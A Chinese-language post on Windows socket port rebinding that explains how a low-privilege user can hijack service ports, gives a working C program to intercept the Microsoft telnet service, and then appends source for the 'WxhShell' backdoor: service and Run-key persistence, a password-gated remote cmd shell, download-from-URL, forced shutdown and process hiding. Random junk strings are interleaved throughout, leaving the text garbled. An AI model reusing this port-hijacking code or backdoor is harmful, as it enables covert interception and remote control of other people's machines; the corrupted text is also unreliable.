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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pq>"GEN s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p[&'*"o!/ IQdiVj saddr.sin_family = AF_INET; GFx>xQk v 4(!~S saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~LHG IZ3w.:A bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); uKh),@JV ]BCH9%zLj 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R|8)iW^ /bVU^vo 这意味着什么?意味着可以进行如下的攻击: +"T?., G F,/<R # 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G[6V=G FgQd7p 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /l0\SVwa> Ve7[U_" 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bWwc2##7jo i+jSXn"_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
F[115/ rayC1#f 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }9>W41 pF#nj`L 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '(kGc% >va#PFHA 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w^NE`4 - E@R7b(:* #include ar=uDb; #include Kw&J<H #include +D`IcR-x #include jRXByi=9 DWORD WINAPI ClientThread(LPVOID lpParam); A%oHx|PD int main() a7nbGqsx { (<(8(}x WORD wVersionRequested; MaXgy|yB1 DWORD ret; `*8p T WSADATA wsaData; z`xdRe{QP BOOL val; o{?s\)aBa SOCKADDR_IN saddr; 1>4'YMdZi SOCKADDR_IN scaddr; L$l'wz int err; 1Xt%O86 SOCKET s; [$]vi`c2 SOCKET sc; nod?v2% int caddsize; P$N\o @
HANDLE mt; e[yk'E DWORD tid; L=VJl[DL wVersionRequested = MAKEWORD( 2, 2 ); ]U! ?{~ err = WSAStartup( wVersionRequested, &wsaData ); Bh"o{-$p8` if ( err != 0 ) { jw5Bbyk printf("error!WSAStartup failed!\n"); W<xu*U(A return -1; )O"5dF1l } Sh*LD
QL<? saddr.sin_family = AF_INET; /{d7%Et6 ,S2D/Y^> //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H{E223 %rzC+=*; saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7$a,pNDw saddr.sin_port = htons(23); eFp4MD8? if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %w=*4!NWb { 41^+T<+ printf("error!socket failed!\n"); 7<mY{!2iF? return -1; ?^Q!=W<7 } xYRN~nr val = TRUE; siZ w-. //SO_REUSEADDR选项就是可以实现端口重绑定的 X.}:gU- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +S5"4< { V?t^ J7{' printf("error!setsockopt failed!\n"); YbND2i return -1; U{} bx } TPt<(-}W //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /^G1wz2 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OSK3X Qc //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #O/ihRoaO x/#*M if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >pbO\=j]X { *@S:f"i ret=GetLastError(); |#L U"D printf("error!bind failed!\n"); vtK Qv Q return -1; `-"2(Gp } _)yn6M'Dt listen(s,2); /w^}(IJ4 while(1) [,3o { 0g,;Yzm caddsize = sizeof(scaddr); cclx$)X1X //接受连接请求 'mXf8 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3u^U\xB if(sc!=INVALID_SOCKET) yJ c#y { \ty{KAc& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .EM0R\q if(mt==NULL) 0WaC.C+2i { PF2PMEBx! printf("Thread Creat Failed!\n"); M^AwOR7< break; 3E$M{l } ?]]>WP } R7r` (c! CloseHandle(mt); 3~;LNi } -uIu-a] closesocket(s); NBwxN WSACleanup(); $d3al%Uo return 0; lRF04 } ]wMd!.lm- DWORD WINAPI ClientThread(LPVOID lpParam) -hiG8%l5 { n#Q ;bSw SOCKET ss = (SOCKET)lpParam; --4,6va`e SOCKET sc; 3s<~}&" unsigned char buf[4096]; {Xb 6wQ" SOCKADDR_IN saddr; 'X d_8. long num; s {p-cV DWORD val;
V##=-KZ DWORD ret; =&;orP //如果是隐藏端口应用的话,可以在此处加一些判断 Uoe;4ni //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ?`bi8 Ck saddr.sin_family = AF_INET; N DZ :`D saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C#d.3t saddr.sin_port = htons(23); [APwHIS if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HQJ_:x
Y { ecDni>W printf("error!socket failed!\n"); AE?MEag return -1; 2#1"(m{ } p2 V8{k val = 100; 2$?bLvk if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <E/4/
ANN { s!(O7Ub ret = GetLastError(); &TJMop Vn return -1;
V`7 } I
.jB^ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5Iine n3> { yB0xa% ret = GetLastError(); 3tzb@T return -1; %Hx8%G! } ]CHO5'%,$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1BK!<}yI{ { s.7\?(Lg printf("error!socket connect failed!\n"); r@b M3V_o closesocket(sc);
mo+zq~,M closesocket(ss); {9:[nqX return -1; FcVQ_6 } m}ZkNWH while(1) +a1Or { H3\4&q //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nwuH:6~" //如果是嗅探内容的话,可以再此处进行内容分析和记录 4efIw<1_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H@ Yj num = recv(ss,buf,4096,0); @`R#t3)8JP if(num>0) [rk*4b ^s send(sc,buf,num,0); _3@[S
F else if(num==0) k{\wjaf) break; >f+qImH num = recv(sc,buf,4096,0); DEJ0<pnQr if(num>0) p[oR4 HWr send(ss,buf,num,0); <L'!EcHm%] else if(num==0) 4SRjF$Bsz break; 5&A{IN } _G3L+St closesocket(ss); dpAj9CX( closesocket(sc); 8xf]zM"Q return 0 ; YX*NjXL } 2L!s'^m- Ao?y2 [sE QFekj@ ========================================================== ox:m;-Ml?_ pHKcKqB*13 下边附上一个代码,,WXhSHELL @}9*rWJIE 3DjlX* ========================================================== 0\tV@ 6p2= %!P^se #include "stdafx.h" rtM29~c>@ )M3}6^s] #include <stdio.h> f2h`bO #include <string.h> Ln-UN$2~F #include <windows.h> ;OC~,?O5 #include <winsock2.h> oZ]^zzoEcg #include <winsvc.h> v7-z<'?s~ #include <urlmon.h> $-^
;Jl A-"2 sp*t #pragma comment (lib, "Ws2_32.lib") VT ikLuH #pragma comment (lib, "urlmon.lib") YQ? "~[mL ycD.X" #define MAX_USER 100 // 最大客户端连接数 xWRkg$A #define BUF_SOCK 200 // sock buffer (:Y0^ #define KEY_BUFF 255 // 输入 buffer :O?+Ywn hW<TP'Zm* #define REBOOT 0 // 重启 ,zF^^,lO7 #define SHUTDOWN 1 // 关机 d.e_\]o<@ kB#;s #define DEF_PORT 5000 // 监听端口 gh9Gc1tKt (V(8E%<c #define REG_LEN 16 // 注册表键长度 H8!;
XB #define SVC_LEN 80 // NT服务名长度 shkyN m>FP&~2 // 从dll定义API #'y4UN typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bU$f4J typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :<p3L!?8y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,vDSY N6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hQb3 8W[ ]0o_-
NI // wxhshell配置信息 F_I.=zQr struct WSCFG { \+Nn>wW. int ws_port; // 监听端口 ZrNBkfe: char ws_passstr[REG_LEN]; // 口令 PenkqDc} int ws_autoins; // 安装标记, 1=yes 0=no b?U2g?lN: char ws_regname[REG_LEN]; // 注册表键名 Mg~62u char ws_svcname[REG_LEN]; // 服务名 ~J:qG9|]} char ws_svcdisp[SVC_LEN]; // 服务显示名 <D`VFSEJ char ws_svcdesc[SVC_LEN]; // 服务描述信息 T`$!/BlZ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2F&VG|" int ws_downexe; // 下载执行标记, 1=yes 0=no @1vpkB~ w char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" JZup} {a char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cj;k{Moc ^ *1hz< }; bHRRgR`, #O1%k;BL // default Wxhshell configuration 2{|mL`$04< struct WSCFG wscfg={DEF_PORT, T9NTL\; "xuhuanlingzhe", IY,n7x0d 1, 3D-VePM=` "Wxhshell", &gdhq~4# "Wxhshell", ,p' ;Xg6ez "WxhShell Service", ubs>(\`q" "Wrsky Windows CmdShell Service", M@]@1Q.p "Please Input Your Password: ", #z#`EBXV$6 1, ?s5/ " http://www.wrsky.com/wxhshell.exe", .+A2\F.^ "Wxhshell.exe" d3;Sy`. }; 4N(iow4 (DQ ]58& // 消息定义模块 -uei nd] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @5j3[e char *msg_ws_prompt="\n\r? for help\n\r#>"; X:JU#sI char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; y=&^=Zh[ char *msg_ws_ext="\n\rExit."; 7r{159&= char *msg_ws_end="\n\rQuit."; p~yGp]yJ9 char *msg_ws_boot="\n\rReboot..."; G%MdZg&i char *msg_ws_poff="\n\rShutdown..."; CHckmCgf4 char *msg_ws_down="\n\rSave to "; E_H.!pr
BIxjY!!" char *msg_ws_err="\n\rErr!"; R*O<( char *msg_ws_ok="\n\rOK!"; UT%?3}*u" z9
$1jC char ExeFile[MAX_PATH]; 7v
V~O@JP int nUser = 0; l.uW>AoLh HANDLE handles[MAX_USER]; ;m~%57.;\ int OsIsNt; /s
Bs eI *?~&O.R" SERVICE_STATUS serviceStatus; $T7(AohR SERVICE_STATUS_HANDLE hServiceStatusHandle; E`b<^l` WesEZ\V // 函数声明 ~j yl int Install(void); o&RNpP* int Uninstall(void); ,.i)(Or int DownloadFile(char *sURL, SOCKET wsh); -r%k)4_ int Boot(int flag); R6`,}<A]@ void HideProc(void); (/jZ&4T int GetOsVer(void); <"Yx}5n. int Wxhshell(SOCKET wsl); }K|40oO5 void TalkWithClient(void *cs); S\0?~l"} int CmdShell(SOCKET sock); %
U|4%P int StartFromService(void); C/ENJ& int StartWxhshell(LPSTR lpCmdLine); <_#a%+5d -] `OaL! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H'?dsc VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~m&q@ms& ]5+<Rqdbg // 数据结构和表定义 V5rW_X:]8 SERVICE_TABLE_ENTRY DispatchTable[] = Qsg([K { N4u-tlA {wscfg.ws_svcname, NTServiceMain}, \*\ )zj*r {NULL, NULL} u&r+ylbsI }; u5A$VRMN C%Fc%}[ // 自我安装 W$`p ,$ .n int Install(void) XX'mM v { %<h+_(\h char svExeFile[MAX_PATH]; '\R/-. HKEY key; u%AyW strcpy(svExeFile,ExeFile); J'@`+veE GI)eq:K_U8 // 如果是win9x系统,修改注册表设为自启动 frUO+ if(!OsIsNt) { qx`)M3Mu|< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !1xX)XD4y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?K=
X[ RegCloseKey(key); C]NL9Gq` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hi^t zpy RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o$k9$H>Na RegCloseKey(key); _qsg2e}n return 0; x?RYt4 S } -HUlB|Q8r } aLO'.5
~^ } %OAvhutS else { (!0fmL @<C<rB8R // 如果是NT以上系统,安装为系统服务 MT{ovDA]. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @q+X:K5b if (schSCManager!=0) G$-[(eu- { ';3#t(J; SC_HANDLE schService = CreateService !b8.XGo ( UpS7>c7s schSCManager, ^(~%'f wscfg.ws_svcname, >WmTM0 wscfg.ws_svcdisp, 8 EUc
6 SERVICE_ALL_ACCESS, pvY BhTz0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k.!m-5E SERVICE_AUTO_START, `,$PRN"] SERVICE_ERROR_NORMAL, }$Z0v` svExeFile, y-lBaTE9 NULL, dQJ)0!B NULL, `!@d$*:' NULL, i^hEL2S/A NULL, i2X%xYv ^ NULL UQ}#=[)2e ); sU0W)c; if (schService!=0) V~fPp"F { l9#@4Os CloseServiceHandle(schService); 4N8(WI"4S CloseServiceHandle(schSCManager); N'~l,{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E@_]L<Z strcat(svExeFile,wscfg.ws_svcname); `]j:''K if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DLd1Cl:"~: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4x"9Wr=} RegCloseKey(key); IM=3n%6 return 0; xL$7bw5fY } dZ`c } R?iC"s! CloseServiceHandle(schSCManager); #H.DnW } "-R19SpJKh } A8T8+M: N;R I
A return 1; CqR^w( } ,f}u|D 3@ q#\4/Dt // 自我卸载 F}c}I8Ao int Uninstall(void) DdCNCXU { :N64FR# HKEY key; "ifv1KZ# 1C+d&U if(!OsIsNt) { |syvtS{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GD0Q`gWNe RegDeleteValue(key,wscfg.ws_regname); $[V-M\q RegCloseKey(key); fVz0H1\J& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =fK6P6'B RegDeleteValue(key,wscfg.ws_regname); +*Zjo&pc RegCloseKey(key); '+v[z=.8] return 0; <op|yh3Jkk } r<5i } }~Ir& } eXi}-~o else { -8Hv3J'= !OV+=Rwdx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nrKir if (schSCManager!=0) Xx1e SX { _*++xF1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [oOV@GE if (schService!=0) [Gc9
3PA7q { ',]^Qu`a if(DeleteService(schService)!=0) { B7(bNr CloseServiceHandle(schService); l7#2
e ORm CloseServiceHandle(schSCManager); Qrw:Bva) return 0; ?*&5`Xh } `\yQn7 Oq CloseServiceHandle(schService); I ;F\'P)e } E| y
CloseServiceHandle(schSCManager); M\9+? } g}$B4_sY } 3;F up4!4} ~uu{
v') return 1; X*t2h3"} } WHcw5_3# 2%vG7o,# // 从指定url下载文件 [D2<) int DownloadFile(char *sURL, SOCKET wsh) t**MthnW { S|]\q-qA& HRESULT hr; YL/B7^fd8 char seps[]= "/"; AbIYdFX B char *token; w d6+,B char *file; byPqPSY char myURL[MAX_PATH]; "EnxVV char myFILE[MAX_PATH]; >cH}sNHy f1|&umJ$ strcpy(myURL,sURL); h059 DiH token=strtok(myURL,seps); D~)bAPAD while(token!=NULL) Bw>)gSB5$k { ?8YbTn1f) file=token; ijmGk:L( token=strtok(NULL,seps); _|7bpt9 } mXI'=Vo!S \hP.Q;"MtO GetCurrentDirectory(MAX_PATH,myFILE); 2FQTu*p&B strcat(myFILE, "\\"); >aT~G!y strcat(myFILE, file); JZ/T:Hsh4 send(wsh,myFILE,strlen(myFILE),0); *fI\|%K send(wsh,"...",3,0); M/kBAxNIC| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t@jke if(hr==S_OK) q^6l`JJ return 0; 8|tnhA]~ else uP.dCs9- return 1; bycnh /|@~:5R5H } 1ezBnZJg 3[<D"0#}, // 系统电源模块 F!P,%JmI< int Boot(int flag) V!QC.D< { *mn"GK6 HANDLE hToken; %rO)w? TOKEN_PRIVILEGES tkp; !UHX?<3r 3g5D[>J' if(OsIsNt) { UL"
M?).5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '?T<o LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L&&AK`Ur3l tkp.PrivilegeCount = 1; 5Q,j+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }j{Z
&(K AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zZP&`#TAy if(flag==REBOOT) { u56F;y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eQ<GNvm return 0; +@~e9ZG%a } `E|>K\ else { -m$2"_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PoD/i@ return 0; ,fvhP $n } DuIgFp } py6O\` \ else { ON"p^o>/_? if(flag==REBOOT) { kNX8y-- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9Dd`x7$a return 0; Tn?D~?a*O } h{^MdYJ else { ]PB95% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l@`n4U.Gwl return 0; XpPcQIM* } vd/ BO } bVr`a*EM O6ltGtF return 1; t-Ble } G<Urj+3/Xo 3&R1C>JS ] // win9x进程隐藏模块 fONycXM] void HideProc(void) ?gCP"~ { v)nBp\fjxp %&eBkN!T HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +No Ve# if ( hKernel != NULL ) 1*:BOoYx { SVPksr pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7wHd*{^9N ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h~q5GhY!9 FreeLibrary(hKernel); (]-RL
A> } ES)_X:\X?V eWXR #g!%> return; Wr+1e1[ } RtEx
WTc
Q1!+wC // 获取操作系统版本 L;=LAQ6[ int GetOsVer(void) =FQH5iSd { L }R-| OSVERSIONINFO winfo; 10tTV3`IM winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a[=ub256S GetVersionEx(&winfo); Wr8}=\/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KK4rVb:- return 1; T*k}E else VRg
y return 0; $<L@B|}F) } Gsy'':u ^~s!*T)\ // 客户端句柄模块 H-eHX3c7 int Wxhshell(SOCKET wsl) NleMZ { 9 $^b^It SOCKET wsh; eL
[.;_ struct sockaddr_in client; $ )6x3&]P DWORD myID; 7_J0[C!G L#fK
,r8 while(nUser<MAX_USER) mNJCV8 < { 6UU<:KH int nSize=sizeof(client); 0JW
=RW wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u.}H)wt if(wsh==INVALID_SOCKET) return 1; <(1[n
pS&+ (Mw+SM3< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w,t !<i if(handles[nUser]==0) gO/\Yi closesocket(wsh); NzS`s,N4/0 else uW4.Q_O!H nUser++; 0XI6gPo% } 9[[$5t`8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UDPn4q h r6?9RJY return 0; (UZ].+)s } Sx1OY0)s Y4[oa?G // 关闭 socket k h6n(B\ void CloseIt(SOCKET wsh) &,* ILz { 1JV-X G6 closesocket(wsh); *DQa6,b nUser--; /)sP<WPQ6 ExitThread(0); F6_en z } '_ys4hz} %8>0;ktU // 客户端请求句柄 t(}g;O- void TalkWithClient(void *cs) 7v}(R:* { 'f8'|o) ;_0frX SOCKET wsh=(SOCKET)cs; $y%IM`/w char pwd[SVC_LEN]; GE=PaYz char cmd[KEY_BUFF]; >[Tt'.S!? char chr[1]; u,]qrlx{ int i,j; :Xu9`5 gP>W* ]0r1 while (nUser < MAX_USER) { lBudC [rz5tfMp if(wscfg.ws_passstr) { YUTI)&y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +K,T^<F; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7tne/Yz //ZeroMemory(pwd,KEY_BUFF); szD9z{9"y i=0; #X0Xc2}{f while(i<SVC_LEN) { _/YM@%d xl9S=^`= // 设置超时 b&'YW*W fd_set FdRead; #q5tG\gnM struct timeval TimeOut; ndw&F'.r FD_ZERO(&FdRead); Hk$do`H-=Y FD_SET(wsh,&FdRead); ;O~%y' TimeOut.tv_sec=8; b"Jr_24t3v TimeOut.tv_usec=0; QQD7NN> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x:c'ek if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )5u#'5I> Iu^I?c[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |W}D_2 pwd =chr[0]; 0 c]] if(chr[0]==0xd || chr[0]==0xa) { `#l1 pwd=0; YD0j&@. break; m%c]+Our` } 5x!rT&!G i++; ):fu]s" } <v?2p{U% y2 R\SL, // 如果是非法用户,关闭 socket g'2}Y5m$` if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @.,'A[D!K } +wZ|g6vMct =&~ K;=: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n*caP9B send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V(Cxd.u 2nCHL'8N while(1) {
[WXcp1p
y( UWh4?t ZeroMemory(cmd,KEY_BUFF); E:[!)UG|y !e+Sa{X // 自动支持客户端 telnet标准 %vUUx+ j=0; 8"rK while(j<KEY_BUFF) { -![{Zb@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IsjN
xBM cmd[j]=chr[0]; rl-#Ez if(chr[0]==0xa || chr[0]==0xd) { cfy9wD cmd[j]=0; ]hRs -x break; iH>b"H> } s~k62 j++; 0^6}s1d_ } y,`q6(& ygd*zy9 // 下载文件 %&J`mq if(strstr(cmd,"http://")) { #%{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); w^:@g~ if(DownloadFile(cmd,wsh)) 5i'KGL send(wsh,msg_ws_err,strlen(msg_ws_err),0); "2 D{X else h;mOfF send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '-#gQxIpD } *z]P|_:&G else { @6-3D/= =@nW;PUZ switch(cmd[0]) { G0Z$p6z s !II}'Je // 帮助 s"~,Zzy@j case '?': { 4C3i send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u,~+ho@ break; ^ '_Fd } a(uQGyr[k1 // 安装 ?OGs+G case 'i': { I*pFX0+ if(Install()) Z/;hbbG send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;KG}Yr72 else "9Br)3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YB4|J44Y break; )&-n-m@E } 3%u: c]-wF // 卸载 VeH%E.: case 'r': { .5tXwxad" if(Uninstall()) W k "_lJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); |aj]]l[@S else H~:g=Zw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V'9OGn2v break; slLTZ] } xscR Bx // 显示 wxhshell 所在路径 I]~s{I(EK case 'p': { )-1$y+s>
char svExeFile[MAX_PATH]; w)h"?'m~ strcpy(svExeFile,"\n\r"); QwuSo{G strcat(svExeFile,ExeFile); Ko
"JH=< send(wsh,svExeFile,strlen(svExeFile),0); \?^ EFA+; break; TLg 9`UA } GT3}'`f B // 重启 m-qOyt case 'b': { CljEC1S# send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [TT:^F(Y if(Boot(REBOOT)) /q!_f!<q4x send(wsh,msg_ws_err,strlen(msg_ws_err),0); S-brV\v7 else { buHUBn[3) closesocket(wsh); !H @nAz ExitThread(0); UaHN*@ } fUJe{C<H break; 5!6}g<z&L } f%REN3=5K // 关机 _HAr0R8BY case 'd': { ke'OT>8 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }-vP~I if(Boot(SHUTDOWN)) ^SS9BQ*m send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^(:n a6C else { j>~@vq closesocket(wsh); (e<p^TJ] ExitThread(0); `2'*E\ } f&XM|Bg break; + Cq&~<B } eqpnh^0}d // 获取shell iT1HbAT] case 's': { wh^I|D?" CmdShell(wsh); \d w ["k closesocket(wsh); myB!\WY
ExitThread(0); :m(" oC@} break; Tn$|
Xa+:s } "azrcC // 退出 Bv`3T Af2 case 'x': { 24Htr/lPCT send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1EHNg<J( CloseIt(wsh);
w Qp{z break; UZE%!OWpeK } ~s[Yu!( // 离开 ET3+07 case 'q': { KpO%)M!/Z# send(wsh,msg_ws_end,strlen(msg_ws_end),0); mPi{: closesocket(wsh); ML
X: S? WSACleanup(); oXqx]@7 exit(1); tNW0 C] break; C}]rx{xC } b*< *,Ds/G } 5}_,rF?cX } PmDar<m |>nVp:t^ // 提示信息 Zr;(a;QKs if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yn{U/+ } ' @j8tK } oF0*X$_X + L#):xr return; uTP4r } Y FW0 %W$?*Tm // shell模块句柄 ?^:
xNRE$j int CmdShell(SOCKET sock) ` ln=D$ { pB,@<\l % STARTUPINFO si; iS28p ZeroMemory(&si,sizeof(si)); sT"{ e7;F; si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N_E:?Jo si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wW^3/
PROCESS_INFORMATION ProcessInfo; C#.d
sl char cmdline[]="cmd"; B4 # gT CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Yc
V*3` return 0; 6j~'>w(F } BP@Lhii rW9ULS2d // 自身启动模式 h}P"" int StartFromService(void) VW9BQs2w { LtBm }0 typedef struct FYeUz$/ { ,vUMy&AV DWORD ExitStatus; Q,xKi|$r DWORD PebBaseAddress; "8`f x DWORD AffinityMask; orAEVEm DWORD BasePriority; uY=}w"Db ULONG UniqueProcessId; \o,`@2H+' ULONG InheritedFromUniqueProcessId; 1rhQ{6 } PROCESS_BASIC_INFORMATION; :. a}pgh qn R{'d PROCNTQSIP NtQueryInformationProcess; Mo+HLN 6 {tW$q static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8'Ph/L, static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m.N/g, 1PJ8O|Zt8 HANDLE hProcess; d/:zO4v3 PROCESS_BASIC_INFORMATION pbi; Wtwh.\Jba |7l* HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vZpt}u if(NULL == hInst ) return 0; }x1p~N+; R%N&Y~zH g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `ynD-_fTN g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #x|h@(y| 